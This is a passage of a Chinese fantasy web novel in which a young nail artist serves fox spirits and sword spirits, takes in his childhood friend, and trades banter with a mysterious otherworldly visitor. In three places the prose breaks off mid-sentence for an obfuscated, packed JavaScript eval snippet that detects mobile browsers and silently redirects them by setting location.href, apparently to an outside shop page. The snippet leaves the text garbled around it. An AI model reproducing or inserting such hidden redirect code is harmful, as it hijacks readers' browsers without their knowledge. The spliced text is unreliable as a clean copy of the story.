桌面的暗色丝绒被当做吸光布,苏秋水拿出漆红描金的细长烟杆,在手指间转了个圈,随意做出平常吞云吐雾的动作。 “棒棒!就是这样!” 宁知夏迅速选好角度拍了几张,又开始调整细节图参数。 对比饱和色温拉低,亮度光感锐化拉高,画面把拉近后,把重心往左上方稍稍移动。 苏秋水配合地放下烟杆,手指自然蜷缩,无师自通般将中指微微下压。 这是接近兰花指的姿势,却更加舒展自如,能够在构图抓人的同时,把甲面细节全部展示清楚。 宁知夏干活时没了平常逗乐轻松的模样,抿着嘴不怎么说话,一双眼睛倒是又黑又亮,看着格外神采奕奕。 奥德罗低头,看着小蛋糕顶部的黑巧小球,用叉子轻轻拨弄两下。 看似差不多的角度,宁知夏一连拍了几十张,放在相册里对比挑选,手指灵活至极,拉着各种参数不断调整,一系列丝滑操作下来,管理员们看得目瞪口呆。 “这是……我的手吗?你这小法器还真有点意思……” 苏秋水看了一眼照片激动万分,乱摇的九条尾巴跟棉花似的,快把宁知夏包成大汤圆。 宁知夏艰难地拉开缠绕脖颈的毛领,红着脸喘气。 狐狐的热情,真是有点窒息。 苏秋水这位顶级手模的手很漂亮,精修磨皮反而失真,不需要多调整,宁知夏就满意地收获了心心念念的返图。 奥德罗见他完事,放下瓷碟问:“走?” “走吧走吧。” 宁知夏知道他又想下班,收好手机同其他人挥挥。 天色已晚,奥德罗照旧把他送回店里,临走前问:“这家店你会开下去吗?” 宁知夏为难:“我暂时不接受入股。” 奥德罗:“?” 宁知夏拍拍他肩:“等我做大做强,再优先考虑你。” 太温暖的触感让奥德罗微微一怔,他偏头看去,握住青年的手腕轻轻拿开,垂眼说:“未来你也许会接触到越来越多的非人之物,如果不想,我可以给你关闭通道。” “还是不了。” 宁知夏思虑片刻摇了摇头,一本正经道,“这辈子谁能有我活得这么精彩。” “……” 奥德罗唇角微动,冷色调的眼瞳里染上对方鲜活的脸庞,半晌后,忽然唤他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719034|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字。 “宁知夏。” 对于不属于这个世界的存在来说,这类发音有点绕口,简短的字音被放在舌尖轻绕一圈缓缓吐出,他的声音一向好听,放轻时就像浮动在耳膜的羽毛,耳朵痒痒,脑袋也痒痒的。 宁知夏眨眨眼:“嗯?怎么啦?” 奥德罗轻声说:“你很奇怪。” 宁知夏歪头:“所以?” 奥德罗想了想,说:“我对你有点好奇。” 唔,这算什么评价? 宁知夏不懂,安静地看着对方的身影消失在黑夜,随后转身开门。 进屋后,宁知夏第一时间精挑细选出一组照片,将它们放到店铺地瓜账号置顶。 店铺的账号是开业后新申请的,没什么粉丝,带了“春日美甲”之类各种关键词的作品很快发布。 这组美甲返图里,氛围图和细节图都有,纤细如玉的十指从各角度展示,没有添加滤镜,也没有刻意遮掩大拇指故意吸引路人留评询问,却出乎意料地迎来了小波流量。 “天,晚睡有福报!看我刷到了什么!” “这手!这构图!简直一眼戳中我心巴!” “礼貌问价,这种复杂款大概要几张?” “你们关心价格,我只关心需要铁臀功几层功力QAQ!” “老师这个款式能做吗?[图片]” “好可惜IP是余城,宝宝这个以后能出穿戴甲吗?” “老板你好,我私信预约哒!” 宁知夏一觉醒来,发现账号的消息区,评论和点赞都是红通通的“99+”,还有不少私信正在寻问预约时间。 “0.0!” 宁知夏裹住被子快乐翻滚两周半,随后一个鲤鱼打挺利落起床,迎着透过窗帘的微光,舒展双臂。 十分! 他很快给预约的客人排好了时间,能力有限,一天两位,能接受时间的客人很快就上门,直接指定要做同款冰荷水彩美甲。 客人其实也有心理准备,每个人的手部条件都不一样,没办法能完全还原神图手模的效果。 “我不求一比一还原……”新客是个面善的白领姐姐,见他一个人开店又是少见的男美甲师,叹气道,“别太翻车就行。” 翻车?那是不可能的。 宁知夏知道很多人都被网上精拍图骗怕了,但他主打一个不让客人白来,当即火力全开。 前置舒适利落,建构弧度完美,就连水彩勾勒时也手稳至极,白领女士心底疑虑渐消,选了几颗华子钻。 堆钻稍有不慎能难看到让人抓狂,宁知夏用主钻沾胶打圈再贴到甲面固定,这样的胶量刚好,再用拉线笔沾了填缝胶围在底部勾勒,既不会溢胶,又能牢固到像电焊一样结实! 等到封层照灯结束,白领女士看着成果欣喜若狂,除了甲型不同,与宣传图相差无几,甚至更适合自己的手指,她心底降低的期待值瞬间拉到顶峰! “账户到账,450元!” 快乐的声音响起,宁知夏笑眯眯地和客人挥手再见。 于是接下来几天,预约全满,宁知夏要么在哼哧哼哧地可劲搓冰荷,要么就是回复私信给预约排期。 这天七点二十八分,安静许久的房门再次被敲响。 宁知夏以为是苏秋水来了,乐颠颠开门,却发现门口是一位白衣姑娘,身边簇拥着不少黑影绿眼的妖灵。 “你是……”宁知夏看着她有点眼熟,细细回想,有些惊诧地吸了口气。 这不就是那位死于驱邪师之手的无辜女子吗! “我死后怨念不散附身在那柄短剑,已经成了剑灵。”剑灵姑娘朝他点点头。 宁知夏:“原来如此,所以你过来是……” “秋水姐姐推荐我过来的。”剑灵姑娘笑容灿烂,“仇人头七我来做个美甲。” “……”好别致的庆祝方式。 宁知夏侧身邀请,“请。” 剑灵姑娘身后那群绿眼睛的黑影也呼啦啦跟着进入,探头在屋里好奇张望,又围在青年身边嗅嗅。 它们开心道:“小老板,你好香啊!” 宁知夏紧张:“……谢谢?” 黑影们更快乐了:“不用客气!” 宁知夏:“……”还挺懂礼貌。 剑灵姑娘坐到软椅,黑影们又呼啦啦飘过来围成一圈。 宁知夏声音干涩道:“抱一丝,只能做一个哦。” “没事没事,你做你的,我们看看!” 一群黑影纷纷回答,绿幽幽的眼睛亮得像车头探照灯,在头顶周围飘来荡去。 宁知夏点了点头。 挺好,简直就像在驱邪师的头七轰趴。 7. 好朋友 那些绿眼睛的黑影全是妖市里力量不高的小妖灵,偶尔跟着剑灵或者苏秋水上门晃悠,像极了一群无所事事的街溜子。 有时玩过头撞歪了展示架,窗口的吊兰会甩着枝条给它们来上两抽,再蹭蹭宁知夏呆滞的脑袋缩回去岁月静好。 宁知夏眨眼:“?” 不是,感情这间屋子就他是个靠喘气活着的战五渣? 宁知夏想起小时候偷偷揪这些吊兰的叶子,屁股忽然也跟着幻疼起来,隔天买了复合肥小心翼翼地给它们施了一层。 现在白日都有客人来,只是店里只有自己,流失了不少新客。 顾及着这家店的特殊情况,宁知夏思来想去,发消息问发小有没有意愿过来。 发小名叫曲半青,是小有名气的手工大佬。从小学就和宁知夏一直同班,高中毕业那年却执意选了个同他相距千里的另一所美院。 宁知夏当时整个暑假都气成河豚,陪他去报道时没忍住,在人家校门口哭得感天动地,于是“高考完就分手”的渣男名号伴随了曲半青整整四年。 不过他最近一直在接单做捏捏,也不知道有没有空过来。 宁知夏施完肥给他发了条消息。 结果快到下午,手机屏幕才biubiu弹出回复消息。 [小曲捏捏(清单中)]:哎呀,才醒(挠头.jpg) [A小宁指甲壳装修]:订单都清完了吗? [小曲捏捏(清单中)]:完啦!昨天搞了一晚上累得趴桌上睡到现在,不过劳累之后睡眠质量怪好的呢! [A小宁指甲壳装修]:……你做捏捏通风了吗? [小曲捏捏(清单中)]:没有哇。 [A小宁指甲壳装修]:嗬! 友友!你是被毒晕过去了啊! 曲半青表示没事,发完货去医院体检一波就回余城再续父子情,宁知夏知道这人心大,再三嘱咐他一定要去医院看看才算勉强放心。 有好朋友愿意过来让宁知夏相当开心,为了庆祝,他决定把几只在他屋外定居的猫崽正式收编,为它们排好绝育日程。 他专门腾出时间,打开新买的航空箱,嘴里嘬嘬嘬地赶猪入圈,左右提着猫箱,头上顶一只,背包塞一只,打包带去宠物医院先补疫苗。 回来时整个人累得气喘吁吁,把竖着尾巴乱晃麻将小队放在前院自由活动,飘去厨房做饭。 “喵喵!哈——” 就在宁知夏进行一场酣畅淋漓的厨艺秀时,听见屋外一阵阵哈气声。 “嗨呀,快走开,去去去……” 唔,这声音好耳熟啊! 宁知夏咻地探头,两眼顿时放光。 刚推开院墙栅栏门的青年拉着大号行李箱,长相清秀个子不高,鼻尖有颗小痣,被一群竖着尾巴的恶霸猫崽挤到花架旁,微卷的棕发随着他慌慌张张的动作跟着晃动。 “友友!” “吾儿!” 宁知夏惊喜地蹿出去,两个身高差不多的青年在猫猫们奇怪的目光中,拉着手欢天喜地转了个圈。 “友友你来得正好!” 宁知夏喜出望外地把他迎进门,将人往厨房带。 曲半青放下行李,感叹着能吃顿现成的热饭热菜。 他接过饭勺就准备盛饭—— “嘎啦嘎啦……” “嘎啦嘎啦……” 饭勺在白米表面来回划拉,曲半青笑意瞬间僵在脸上。 他傻眼道:“这米是看过片吗?这么硬。” 宁知夏讷讷说:“你也知道我做饭什么水平,要不怎么说你来得正好……” “……” 曲半青深吸一口气,问,“崽啊,你平常都吃什么?” “外卖,泡面,还有……” 宁知夏蹦到冰箱旁刷地拉开箱格,里面四排帕尼尼码得整整齐齐。 他老实巴交地努努嘴,“喏。” 曲半青为之震撼,好一个军火库! 周末八件套的套餐去酱去菜,一个算下来只要三块五,宁知夏倒也不是节约那点饭钱,完全是吃饭时间不固定图省事。 曲半青已经不考虑面前这家伙会不会吃腻的问题,抖着声音问:“这么多你不怕放坏吗?” 宁知夏张开双臂在空中抡了一圈,虔诚合掌:“冻门,冷冻既是永恒!” “……” 曲半青为他美丽的精神状态鼓掌,随后认命拿起锅铲叹息:“是老奴来迟。” 宁知夏泪光闪烁:“妈咪!” 曲半青愤愤抬脚:“爪巴。” 宁知夏被踹出了厨房,颠颠儿地去客厅收拾茶几摆碗筷。 厨房里未完工的有害物质被曲半青一键清空,在物资贫瘠的冰箱里掏了两个番茄和一盒肥牛。 两人都饿了,曲半青煮了番茄肥牛面,端着锅直接摆上桌。 番茄是去皮切丁后在热油里翻炒出沙,就算熬煮时间短,面汤依旧果香酸甜浓郁。肥牛焯过水没有浮沫,半隐半现地浸泡在红通通的汤头里。 快速拌匀后,曲半青用筷子挑起一大夹,细滑的面条挂满汁水,被装进宁知夏推过来的小碗。 “呜呜我活过来啦!” 宁知夏捧着碗,久违的家常味道让他激动得呼呼嗦面。 曲半青看看他,又看向旁边把头扎进饭盆的胖橘,默默收回视线,往他碗里夹了点肥牛,低声道:“啰啰啰啰啰……” “唔?” 宁知夏抬头嚼嚼面,把透明塑料盒打开朝他推过去,“吃,你也吃。” 因为没有别的配菜可以准备,宁知夏趁着他忙活的功夫点了外卖烧腊。 余城的烧腊可谓是一绝,卤煮放凉后的猪头肉切成薄片,像拌凉面一样加了各种辅料和灵魂辣椒油,肥糯不腻,稍瘦带点脆骨的部位又清畅利爽。 小时候曲半青去宁知夏家玩,肚子玩饿了又没到饭点,趁着大人们在厨房忙活,就偷偷去捞摆上桌的烧腊卤菜,吃得小嘴油滋滋地不停嗦指头。 “好久没吃这个了。”曲半青有些感慨,夹了一筷子吃起来。 宁知夏知道高中后他们家里搬去了外省的庆州,也是许久没回来。 他问道:“叔叔阿姨知道你回来了吗?” “嗯?吨吨吨……” 曲半青埋头喝完汤,放下碗说,“知道哇,我和他们说了的。” 宁知夏愣道:“只是说,不回去看看吗?” “我倒是想。”曲半青面无表情道,“他们这月自驾游,下月南半球,精力旺盛打卡全球航站楼。” 宁知夏:“啊……” 好一对朝气蓬勃的中年夫妇! 两个颓废青年对视一眼默契叹气,起身开始收拾碗筷。 总共也没几个锅碗瓢盆要洗,曲半青擦着桌面,瞥见外卖袋里还有一大盒没开封的卤牛肉片,拿出来问:“这啥?当夜宵吗?” 宁知夏摇摇头,他看了一眼墙壁的时钟,解释道:“是给等会儿来的客人准备的。” 曲半青茫然:“啊?” 宁知夏沉默片刻,擦干手从厨房出来,把最近包括这间店铺能力的奇幻经历,同他从头到尾讲了一遍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719035|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >曲半青挂在嘴角的笑意渐渐收敛,面色凝重,低头摸着下巴思索着什么。 宁知夏不由捏紧衣摆。 半晌后,曲半青倏地抬头:“那不就是系统文总部吗!” 宁知夏激动万分:“对叭!我也是这样想的!” 两人满脸快乐:“咯咯咯咯咯咯……” 见曲半青接受良好,宁知夏心里松了口气,等到时间后,拉着他凑到窗口看那些一闪一闪的绿色光点。 宁知夏:“从这个视角看,也还怪有氛围的。” 曲半青幽幽道:“生骨肉的视角吗?” 宁知夏:“……” “唉,你这也算是把人脉发展到极致了。”曲半青正感叹着,熟悉的敲门声如约而至。 “宁老板,我来……哟!”苏秋水打量着宁知夏旁边呆滞的青年,片刻后,挑眉笑道,“这是哪位小哥?” “我发小,曲半青。” 宁知夏大方介绍,坦言道,“白天生意太好,特地请半青来帮忙的,放心吧,他手艺不比我差。” 苏秋水笑意渐深,眯着眼吸了吸鼻子:“这样啊。” 曲半青声音干涩:“姐姐,您嗅什么呢……” 苏秋水:“闻闻你香不香呀。” 曲半青:“那感觉怎么样?” “还行。”苏秋水意味深长道,“比较有嚼劲的样子。” “……” 曲半青面无表情,扭头推了下宁知夏,“吾儿,你看她——” 宁知夏不敢笑,他怕明天说好的红烧排骨变成桶装,赶忙插话问苏秋水:“今天是来做指甲吗?” “嗯,不过不是我做。” 苏秋水朝门外喊了一声,“进来吧。” 一阵叽叽叽的稚嫩声调像是应答般响起,宁知夏好奇看去,竟是之前见过的四只狐狸崽! 白绒绒的小兽们都长着三条尾巴,因为毛发丰厚的缘故,看起来有些圆润,扭着屁股舔了舔黑鼻头,在屋里转了一圈,仰头在苏秋水面前端坐成一排。 苏秋水拍拍手,朦胧的白雾霎时间在屋内弥漫。 等宁知夏两人挥开白雾再抬眼看去,先才还哼哼唧唧的狐狸崽们已经变成四个粉雕玉琢的小孩。 每个幼崽除了多了对耳朵和三条尾巴,看上去和六七岁的孩童没什么区别。 他们头一次在生人面前化形,抿着嘴不好意思地绞弄手指,缩到苏秋水身旁,用圆溜溜的大眼睛试探性地瞅向宁知夏。 见宁知夏他们都看过来了,匆匆对视一眼,又抓住苏秋水的大尾巴把脸埋进去。 都说人类胆子小,也不知道会不会吓坏这个香香的人类。 宁知夏缓缓捂着心口。 吓到啦吓到啦,要四个崽崽蹭一蹭才缓得过来! 苏秋水提起裙摆,避开狐狸崽们乱拱的尾巴,对他们说道:“这是我山里刚会化形的孩子,特地带他们来做美甲玩玩。” “没问题。” 曲半青蹲下身摸着一个孩子的脑袋,宁知夏已经抱起大着胆子蹭到自己腿边的小狐狸,快乐地举高高。 他笑眯眯地问道,“想涂什么颜色的指甲呀?” 小狐狸歪头想了想,说:“漂亮的,就像你给姐姐做的那样。” 宁知夏夸奖:“真有眼光,告诉哥哥你几岁了呀?” 小狐狸露出尖牙,甜甜回答:“三百岁啦!” “嗯嗯,原来宝宝才满——” 宁知夏脸色忽变,夹子音骤然破裂,“夺少?” 曲半青在一旁喃喃道:“你太爷的太爷的太爷?” 8. 梅兰竹菊 苏秋水带着促狭的笑将狐狸崽们塞过来,就熟门熟路地去客厅,边看电视边吃卤牛肉,惬意得像在自己洞府。 四个狐狸崽的名字都很雅致,分别叫落梅,幽兰,白竹,霜菊,是苏秋水在妖山晃悠了十几圈苦思冥想出来的。 白竹虽是唯一的男孩子,但对柜架里那些漂亮的瓶瓶罐罐的兴趣不比旁人低,坐到位子上扭扭尾巴,星星眼地望向宁知夏,小手往桌上一拍—— “我准备好啦!” “哇,白竹好狡猾!” 总共只有两个座位,落梅也挤了过去,没抢到位置的另外两个崽噘嘴凑在旁边哼哼。 宁知夏捞起白竹的小手细看,甲床圆润,小手细嫩,捏一捏还有点肉感。 他笑起来:“这点指甲我们弄得快,等不了多久。” “吃着薯片等吧。” 曲半青打开零食柜,不客气地抓了几包薯片出来,塞给快闹别扭的狐狸崽们。 “薯片?” 幽兰抱住扯开的包装袋晃晃,陌生的香料气味窜出来,歪头和另一个小脑袋靠着一起,情不自禁地想往口袋里挤,尾巴扭得快要开花。 “还好我这儿零食多……”宁知夏默默念叨着,把工具都摆上桌。 面前小鼻嘎似的指甲圆润小巧,就算对方不算是完全意义上的幼崽,两人把建构做得格外仔细。 刷完透色底胶后,宁知夏想了想,提议干脆用水彩画梅兰竹菊当图案,庆贺狐狸崽们化形拥有了名字。 “那我的是竹子……” 白竹抿起小嘴,有点失落地晃了晃沾不到地的脚丫,嘟囔道,“没有花花那么好看……” “啊!抱歉。” 宁知夏提着笔一顿,想了想,拉开存放水彩的抽屉,重新拿了个小瓷盒出来。 水彩技法多变,为了能呈现不同风格和效果,宁知夏还买了几款珠光水彩,原本担心用不上,没想到这时候正好派上用场。 白竹立马被吸引住了,不住地往前凑,两只笔挺的耳朵戳得宁知夏的脑门有点痒。 “坐好坐好。” 宁知夏把他按回座位,沾了金色珠光在试色版调和,用小号万能笔开始描画。 小孩的甲床短小可爱,金色珠光本就抢眼,再画完整的竹枝未免显得太过拥挤。 宁知夏歪头左看右看,白竹也弯着眼睛随他摇头晃脑,一大一小动来动去像在玩什么幼稚游戏。 “唔。” 竹叶看似简单,画不好容易像鸡爪,显得杂乱潦草,宁知夏抿住嘴,逆着笔锋顿笔下按,随着下拉运笔缓缓上提。 两笔鱼尾,三笔飞燕,灵动小巧的竹枝在透白甲面恍若浮光跃金,不必过于繁复,留有余白,皆成妙境。 宁知夏满意收笔:“喜欢吗?” “哇……” 白竹不知何时已经张着小嘴,目光呆滞,等宁知夏又问了一声,立马抬头看向面前的人类,崇拜道:“喜欢,我喜欢!哥哥好厉害!” “我当然厉害啦!” 宁知夏骄傲地哼哼两声,几下完成后需让他照灯,干劲儿十足地拍拍桌面,“来,下一个!” “好耶!到我啦!” 一阵哗啦啦的塑料袋响动,旁边等候的狐狸崽从薯片袋子里钻出脑袋,顶着满脸薯片渣欢喜地凑过来。 旁边的曲半青也招手,让最后一只眼巴巴望着的狐狸崽过来。他属于手工圈的多坑玩家,就连许久不曾接触的美甲也复健得很快。 宁知夏对朋友的能力毫不怀疑,往他那边瞄了眼,微微挑了挑眉。 落梅指甲上勾勒的映雪红梅精致可爱,穿插了两个手指用灰白两色晕染出冬日远山,浓浓氛围感在绘制有局限的短圆甲里渐渐涌现。 接下来一套沁沁兰花,一套描金墨菊,对两人来说都没什么难度。 他们用的美甲万能笔便宜实惠,蓄水和弹性与毛笔西洋笔这类工具不同,但只要施力技法得当,玩顺了也不妨碍各种风格的图画在笔下绽放。 苏秋水慢悠悠晃来工作区时,闹腾的狐狸崽们全部屏气凝神,直勾勾地盯着宁知夏他们动作,比看自己给他们展示法术还认真。 最后完工的成果,自然令四位小客人满意至极,他们头碰头挤在一团,你看我的,我看你的,尾巴兴奋得摇晃不停。 其中一个狐狸崽没站稳,就地滚了几圈,被其他崽崽扑过去黏糊糊地互相蹭脸,连两只耳朵翻过去了都不知道。 “真是精力旺盛的小崽子。” 苏秋水知道时间快到了,摸出颗玉石模样的珠子抛给宁知夏。 妖灵们从不问价,似乎自有自己的一套衡量标准,只付自己认可价值作为酬礼。 “多谢惠顾。”宁知夏一把接住珠子。 他见小狐狸们还对薯片舔着嘴念念不忘,塞了不少存货给他们,“有空常来啊。” 苏秋水:“那是自然。” 等狐狸们离开后,曲半青伸了个懒腰,瞅着宁知夏手里的小珠子说,“狐狸崽倒是挺可爱的,就是给这么颗小玩意儿,能值多少钱?” “我试试。” 宁知夏在他困惑的目光中,把珠子放到二维码旁边,珠子转眼就消失不见,取而代之是冰冷的电子音—— “账户到账,20000元!” “我靠!” 曲半青捂着心口,踉跄后退。 宁知夏问:“友友,你怎么啦?” 曲半青把他脑袋推开,脸上洋溢出幸福笑容:“勿扰,我在承受金钱的暴击。” * 因为有苏秋水的丰厚打赏加上最近有热度的生意,这个月收益想来可观,宁知夏打算以后收益按四成分给曲半青。 曲半青想了想点头同意,但也不想占便宜,之后店内生活的日常开销由他负责。 意见达成一致后,曲半青欢欢喜喜地买了新的床品用具布置自己的房间,还给屋里的麻将小队买了猫爬架摆在一楼角落。 猫爬架需要自己组装,曲半青一大早就蹲着摆弄,爬地上监工的胖橘嫌他动作慢,盯着旁边竹藤躺椅,伸出了罪恶之爪。 “吱啦吱啦……” 曲半青皱眉:“诶,这里不能磨爪子!” 胖橘扭头,满眼皆是蔑视地哈了口气:欸~这里不能磨爪几~ 曲半青:“……啧!” “哇呜……” 宁知夏他对屋里硝烟渐起的气氛浑然不知,懒洋洋地朝天空打了个哈欠,然后脑袋一耷拉,继续拎着水壶浇花。 一大早被喊起来吃了早饭,他咂了咂嘴,总觉得少了点什么,于是掏出了手机。 刚点开外卖软件,立马弹出优惠劵红色弹框。 宁知夏顿时眉开眼笑。 “瑞瑞好,有劵九块九,冰块就是主心骨,一口稀释上班苦,牛马救世主。” 他细品着即兴创作的忆江南·瑞瑞,一声穿透力极强的叫喊瞬间帮他提神醒脑。 “呜呜哇哇哇……” 曲半青捂着手背干嚎,蹲坐在旁的胖橘吧唧吧唧地舔舐着开花的凶器。 宁知夏安慰悲伤友友:“请你喝奶茶?” 曲半青不嚎了:“欧克。” 宁知夏:“……”辣么好哄! 曲半青手背上的抓痕不深,不过也破了皮,只能唉声叹气地出门去打疫苗。 宁知夏目送着他走远,扭头谴责胖橘,“坏小猪。” 胖橘正用后腿蹬蹬耳朵,闻言停下动作,撅腚伸了个懒腰扭头就走,刚出门口,忽然堪称热情嗲叫起来。 “早上好。” 奥德罗今日穿得宽松休闲,低头看着地上打滚翻肚皮的胖橘,他预判似的挪了一小步,毛爪子掏了个空。 胖橘迷惑地支起脑袋眨眨眼。 像是被这个举动取悦,他唇角往上翘了翘,低声说:“笨。” 胖橘瞪圆眼睛,再次伸爪,对方已经迈着长腿从它身上跨了过去。 上次的事落下帷幕后,管理局那边就再无联系,最近风平浪静一切正常,也不知道奥德罗上门有何贵干。 宁知夏局促搓手:“找我有事啊?” “嗯。” 奥德罗点头,给了他一个沉甸甸的牛皮袋,“十万,协助修复103号的奖励。” 金钱的重量令人心安。 宁知夏乐颠颠地接过来,嘴皮子快溜:“送就送吧,还上门做什么。” “……” 奥德罗默了下,作势要把牛皮袋拿走。 宁知夏连忙大喊:“错了错了,大哥我错了!” 他不敢再皮,抱紧牛皮袋誓要与它两不分离。 快速去房间放好钱后回来,瞥见奥德罗手里还提着个精致盒子,看logo好像是市里有名的蛋挞店。 宁知夏眨眨眼,眼里的意思很明显。 哎呀,这也是给的我吗! 察觉到青年的目光,奥德罗拎着盒子往身后避了避。大概觉得行为过于失礼,神情有些挣扎,又拎出来状似随口一问:“是流心蛋挞,你——” “吃吃吃!”宁知夏疯狂点头抢答。 “……” 奥德罗独享失败,垂眼遗憾叹气。 商业街的这家蛋挞店很有名气,是不常见的太阳花形状,个头扎实酥皮又香又脆,蛋液凝固的程度刚好,嫩滑细腻,奶香浓郁但不会太甜。 每日都是限量供应,也就是奥德罗一早上门,买到了原味、流心芝士和开心果酱三种口味。 盒子打开,里面的蛋挞还有些烫,宁知夏拿起一个开心果酱口味的边吹边吃,怕觉得腻,泡了壶毛尖,有来有往地放了一杯在他面前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719036|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蛋挞个头不小,光是起身去泡茶的功夫,奥德罗就吃了两个,也不知道他怎么吃的,嘴边倒是一点酥皮碎渣都没有。 奥德罗垂眼看着茶杯,里面的茶汤杏绿明亮,手指碰了碰杯壁,没有马上拿起来。 宁知夏抠抠脸:“我泡茶技术一般,要是我爷爷泡的,你估计会喜欢。” 奥德罗看他一眼,解释:“太烫。” 他想了想,又补充道,“陆槐提起过,你爷爷泡的茶很好喝。” 宁知夏惊诧:“真的吗?什么时候呀?” 奥德罗:“陆槐上门解释这栋屋子能力,被他拿扫帚轰走的第二天,主动赔礼请的。” 宁知夏默了下:“爷爷在那个晚上,一定经历了很多精神冲击。” 奥德罗赞同地点头:“目前来看,你是19号对陆槐最友善的一任主人。” 宁知夏:“……” 唔,这油然而生的愧疚感。 看来几代人都是传承到了这栋屋子的秘密,宁知夏只是有点不明白,小时候爷爷从来不提这些,连老爸也没说。 家里人都当这里是他喝茶邀友下棋的地方,哪怕过世前把屋子留给自己时,也只是说如果有一天想回余城,能有个住处。 “不是所有人都愿意与这些奇怪的事物打交道,惧怕,厌恶,猜忌……这些情感在你们位面都是常态,更何况是非人之物。” 听见青年问出心里的疑惑,奥德罗端起稍凉的茶杯,抿了一口,“他说与不说都有自己的考量,你想如何抉择也都随你。” 宁知夏听得一愣一愣,半晌开口:“小奥,咱别突然emo啊,我不关店,做大做强等你入股呢。” 奥德罗奇怪地看他一眼:“我是想说,你要有心理准备。等店铺能量存储到一定程度,会连接其他位面。” 宁知夏喃喃:“哇哦,我的人生更精彩了。” 奥德罗:“。” “对了。” 听人这么一提,他瞅着面前开始自己动手倒茶的奥德罗,问道,“你来自什么位面?” 奥德罗平静道:“其他位面。” “……” 宁知夏喉头一哽,“那你厉害吗?” 奥德罗眨了眨眼:“一般,上次还是你套话帮了狐狸大忙。” “也对哦哈哈哈……” 宁知夏被他这么一夸,虚荣心爆棚,爽到了骨子缝里,“其实也还好啦,本来美甲师就是要和各种客人打交道,这没什么。” 奥德罗像是很感兴趣:“还没问你是怎么做到的。” “很简单啊……”宁知夏有点小得意,用他绘声绘色地讲着,“边做美甲边同她说话夸夸,足够她三心二意了,每次问话再拍拍桌面叠加点暗示……” 奥德罗若有所思,伸出修长的手指叩叩茶壶:“那也很了不起。” “嘿嘿……哦,没水了。”宁知夏被夸得美滋滋,端来保温壶添水。 奥德罗问:“和谁学的?” 宁知夏摆手:“又不是什么课程,就训猫视频里教小猫按铃呀,叮当喂一口,叮当又喂一口……你没看过吗?” 奥德罗摇头:“没有。” “哒。” 滚烫热水缓缓倒进茶壶,奥德罗帮忙盖好茶盖,“举一反三,你很聪明。” “嗐呀,我这算什么嘛嘿嘿嘿…我大学同学才腻害呢!” “哒。” 奥德罗抿了口茶,又把茶杯放下:“怎么说?” 宁知夏放好保温壶嘎嘎乐:“她盘查她男朋友时也这样做。” 奥德罗又问:“她盘查什么?” 说到这个,宁知夏表达欲蹬上顶峰,小嘴叭叭说完曾经吃到的大瓜,捧起茶杯:“吨吨吨……” “哒。” 奥德罗撑着脸,指尖在杯壁敲击,半眯着眼问:“那你也对你男朋友这样做过吗?” “我,那个……” 宁知夏愣了一瞬,忽听奥德罗推着空茶杯过来,与茶壶碰出声脆响。 “哒。” 他立马放下杯子给奥德罗倒茶,条件反射般嘟囔,“我还没交过男朋友呢。” “哦。” 奥德罗平静地点头。 宁知夏:“……” 唔,柜门开得有点猝不及防。 奥德罗离开时,破天荒地主动揉了一把胖橘的圆脑袋。 而胖橘的主人像座石化的雕像立在门口,眼神空洞还有点神情恍惚。 忽然,停驻在院墙的视线一顿。 半人高的院墙外,曲半青嗦着冰棍,像初生的太阳般探出头,也不知道在那儿躲了多久的视野。 宁知夏问:“咋了。” 曲半青带着复杂的目光,啧啧感叹:“友友,你相亲对象质量挺高。” 宁知夏:“……” 9. 交易达成 自从曲半青来了之后,宁知夏的生活质量直线上升,天天感叹有妈的孩子像块宝。 “谁说蝴蝶不能——” “拥有撼动,宇宙的能量——” 曲半青气愤地掏出手机点播歌单,并把一脸欠欠的青年踹去给预约顾客排期。 冰莲水彩确实漂亮,但不代表别的店铺没有复刻的能力,店里的客源还是比不上商业中心的几家大店那么固定。 最近平台在搞“春日指尖秀”的活动,带上话题就能参加,奖励没明说,但估计是不错的流量推送。 宁知夏倒是想凑个热闹,就是没什么好创意。 “宁哥哥,吃!” 一块薯片被塞到嘴边,宁知夏低头啊唔叼住,抬头一看,原来是几只狐狸崽来了。 他们自从上次来了之后,就像是发现了个好玩的秘密基地,只要修炼任务完成,就蹦蹦跳跳地跑去妖市,守在门口等宁知夏开门。 妖市鱼龙混杂,没有苏秋水的推荐,宁知夏不敢随便放其他妖灵进入。 所以这两晚没有客人,他们乐得清闲,带着狐狸崽们在客厅边吃零食边玩大富翁。 宁知夏抱住白竹挤进沙发观战,狐狸崽的尾巴毛要软和蓬松一些,跟小狗似的晃来晃去。 嘿嘿,真好玩。 宁知夏捏住三条尾巴编小辫,忽然抽了下鼻子,有股清甜的香气从狐狸崽身上飘出来。 他捏捏白竹的耳朵尖好奇道,“秋水给你们喷了香水吗?” “不是哟,这是香囊。” 